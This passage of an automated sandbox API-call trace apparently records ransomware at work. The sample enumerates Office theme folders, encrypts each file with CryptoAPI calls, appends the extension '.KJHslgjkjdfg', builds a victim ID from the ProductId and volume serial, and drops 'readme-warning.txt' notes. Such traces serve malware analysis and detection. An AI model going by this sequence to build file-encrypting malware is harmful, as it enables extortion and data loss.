lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.650] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.650] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.650] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.650] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.650] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.650] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.650] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.650] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x618, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x618, lpOverlapped=0x0) returned 1 [0171.650] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x620, dwBufLen=0x620 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x620) returned 1 [0171.650] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.650] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x620, lpOverlapped=0x0) returned 1 [0171.650] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.650] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.650] SetEndOfFile (hFile=0x114) returned 1 [0171.653] GetProcessHeap () returned 0x2ef0000 [0171.653] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.653] GetProcessHeap () returned 0x2ef0000 [0171.653] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.654] CloseHandle (hObject=0x114) returned 1 [0171.654] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.654] GetProcessHeap () returned 0x2ef0000 [0171.655] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.655] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.655] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.655] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0171.660] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.660] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.660] GetProcessHeap () returned 0x2ef0000 [0171.660] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.660] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.660] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.660] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.661] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.661] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.661] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.661] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.661] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.661] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.661] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.661] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.661] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x80f1, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x80f1, lpOverlapped=0x0) returned 1 [0171.662] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8100, dwBufLen=0x8100 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8100) returned 1 [0171.662] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.662] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x8100, lpOverlapped=0x0) returned 1 [0171.663] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.663] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x81d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.663] SetEndOfFile (hFile=0x114) returned 1 [0171.665] GetProcessHeap () returned 0x2ef0000 [0171.665] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.665] GetProcessHeap () returned 0x2ef0000 [0171.665] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.671] CloseHandle (hObject=0x114) returned 1 [0171.671] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.671] GetProcessHeap () returned 0x2ef0000 [0171.672] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.672] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.672] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0171.672] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.672] GetProcessHeap () returned 0x2ef0000 [0171.672] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0171.672] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.672] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0171.672] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.672] GetProcessHeap () returned 0x2ef0000 [0171.672] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0171.672] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.672] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0171.672] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.672] GetProcessHeap () returned 0x2ef0000 [0171.672] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0171.672] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.672] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0171.672] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.673] GetProcessHeap () returned 0x2ef0000 [0171.673] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.673] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.673] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0171.673] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.673] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0171.673] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0171.673] RegCloseKey (hKey=0x114) returned 0x0 [0171.673] GetProcessHeap () returned 0x2ef0000 [0171.673] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0171.673] GetProcessHeap () returned 0x2ef0000 [0171.673] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.673] GetProcessHeap () returned 0x2ef0000 [0171.673] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.673] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.673] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0171.673] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.673] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.673] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.674] GetProcessHeap () returned 0x2ef0000 [0171.674] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.674] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.674] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.674] GetProcessHeap () returned 0x2ef0000 [0171.674] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0171.674] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\readme-warning.txt") returned 83 [0171.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.674] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.676] CloseHandle (hObject=0x114) returned 1 [0171.676] GetProcessHeap () returned 0x2ef0000 [0171.676] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0171.676] GetProcessHeap () returned 0x2ef0000 [0171.676] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0171.676] GetProcessHeap () returned 0x2ef0000 [0171.676] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0171.676] GetProcessHeap () returned 0x2ef0000 [0171.676] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.677] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0171.677] GetProcessHeap () returned 0x2ef0000 [0171.677] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0171.677] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0171.677] GetProcessHeap () returned 0x2ef0000 [0171.677] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0171.677] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0171.678] GetProcessHeap () returned 0x2ef0000 [0171.678] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0171.678] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.678] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0171.678] GetProcessHeap () returned 0x2ef0000 [0171.678] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f3e278 [0171.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.679] GetProcessHeap () returned 0x2ef0000 [0171.679] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.679] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.679] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xa, lpOverlapped=0x0) returned 1 [0171.681] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.681] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.681] GetProcessHeap () returned 0x2ef0000 [0171.681] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.681] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.681] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.681] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.681] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.681] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.682] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.682] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.682] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.682] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.682] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xda86, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xda86, lpOverlapped=0x0) returned 1 [0171.684] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xda90, dwBufLen=0xda90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xda90) returned 1 [0171.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.684] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xda90, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xda90, lpOverlapped=0x0) returned 1 [0171.685] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.685] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.685] SetEndOfFile (hFile=0x114) returned 1 [0171.688] GetProcessHeap () returned 0x2ef0000 [0171.688] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.688] GetProcessHeap () returned 0x2ef0000 [0171.688] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common 